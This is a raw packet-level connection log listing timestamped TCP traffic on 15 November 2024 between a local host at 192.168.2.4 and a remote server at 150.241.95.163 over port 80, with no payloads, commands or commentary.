Nov 15, 2024 10:28:31.481734037 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.481750965 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.482045889 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482084036 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.482136011 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482146978 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482157946 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482173920 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.482253075 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482290983 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.482327938 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482352018 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482363939 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482373953 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482391119 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.482414961 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.482455015 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482465982 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482501984 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.482551098 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482563019 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482573032 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482594967 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.482595921 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482609987 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482619047 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482630014 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482630968 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.482640028 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482657909 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.482686996 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.482806921 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482846022 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482861996 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482872963 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482877970 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.482883930 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482894897 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482904911 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.482932091 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.482963085 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482973099 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.482983112 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483000040 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.483063936 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483074903 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483099937 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.483114004 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483125925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483149052 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.483202934 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483215094 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483230114 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483239889 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.483239889 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483252048 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483263969 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.483290911 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.483325005 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483335972 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483362913 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.483473063 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483483076 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483493090 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483504057 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483511925 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.483520985 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483532906 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483541012 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.483587027 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.483598948 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483608961 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483637094 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.483725071 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483736038 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483783007 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.483788967 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483800888 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483866930 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.483891964 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483902931 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483915091 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483927011 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483938932 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.483979940 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.483979940 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.484045029 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.484055996 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.484072924 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.484080076 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.484085083 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.484170914 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.484437943 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.484450102 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.484462023 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.484522104 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.484546900 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.484549999 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.484561920 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.484577894 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.484590054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.484597921 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.484608889 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.484620094 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.484632015 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.484642982 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.484651089 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.484651089 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.484711885 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.494410992 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.517877102 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.517889023 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.517900944 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.517935038 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.562355995 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.562369108 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.562380075 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.562417030 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.562458038 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.573019981 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.573045969 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.573064089 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.573079109 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.573082924 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.573095083 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.573106050 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.573113918 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.573117971 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.573148012 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.573632956 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.573679924 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.612857103 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.612890959 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.612901926 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.612912893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.612931967 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.612942934 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.612955093 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.612972021 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.612982988 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.612993956 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613010883 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613023043 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613034964 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613054037 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613054037 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613054037 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613054037 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613070965 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613070965 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613149881 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613161087 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613177061 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613188028 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613188982 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613199949 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613210917 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613214016 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613223076 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613233089 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613240004 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613245010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613256931 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613265991 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613285065 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613303900 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613315105 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613326073 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613337040 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613338947 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613348007 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613360882 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613367081 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613396883 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613423109 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613466024 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613478899 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613491058 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613524914 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613544941 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613562107 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613573074 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613584995 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613595963 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613620996 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613684893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613696098 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613707066 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613725901 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613732100 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613738060 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613749027 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613759995 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613764048 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613770962 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613785028 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613801003 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613811970 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613842010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613852978 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613863945 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613874912 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613882065 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613886118 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613894939 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613898993 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613910913 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.613925934 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.613939047 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.617053032 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.617295980 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.617358923 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.617520094 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.617531061 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.617764950 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.617775917 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.617780924 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.617794037 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.617804050 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.617815018 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.617827892 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.617829084 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.617842913 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.617867947 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.617867947 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.618330002 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618340969 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618350983 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618361950 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618369102 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.618372917 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618383884 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618393898 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618405104 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618417025 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618438005 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618448019 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618458986 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618469000 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.618469000 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618469000 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.618469000 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.618479967 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618490934 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618500948 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618511915 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.618526936 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.618526936 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.618526936 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.619329929 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.641571045 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.641583920 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.641594887 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.641746044 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.686034918 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.686049938 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.686068058 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.686077118 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.686088085 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.686351061 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.696683884 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.696695089 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.696713924 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.696726084 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.696737051 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.696748018 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.696763992 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.696777105 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.697145939 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.699795961 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731255054 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731280088 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731292963 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731323004 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731345892 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731358051 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731369019 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731400013 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731400013 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731415033 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731426001 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731446028 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731456995 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731458902 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731458902 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731458902 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731467962 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731483936 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731496096 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731506109 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731518030 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731528997 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731528997 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731529951 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731569052 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731584072 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731594086 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731605053 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731615067 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731626987 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731663942 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731663942 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731663942 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731703043 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731714010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731731892 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731741905 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731753111 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731765032 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731797934 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731797934 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731797934 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731833935 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731844902 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731862068 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731872082 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731883049 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731894016 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731898069 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731898069 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731904984 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731915951 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731926918 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731937885 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731949091 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.731969118 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.731969118 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.732012033 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732045889 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732058048 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732058048 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.732058048 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.732069969 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732110977 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.732110977 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.732183933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732194901 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732229948 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.732239962 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732249975 CET	80	49736	150.241.95.163	192.168.2.4
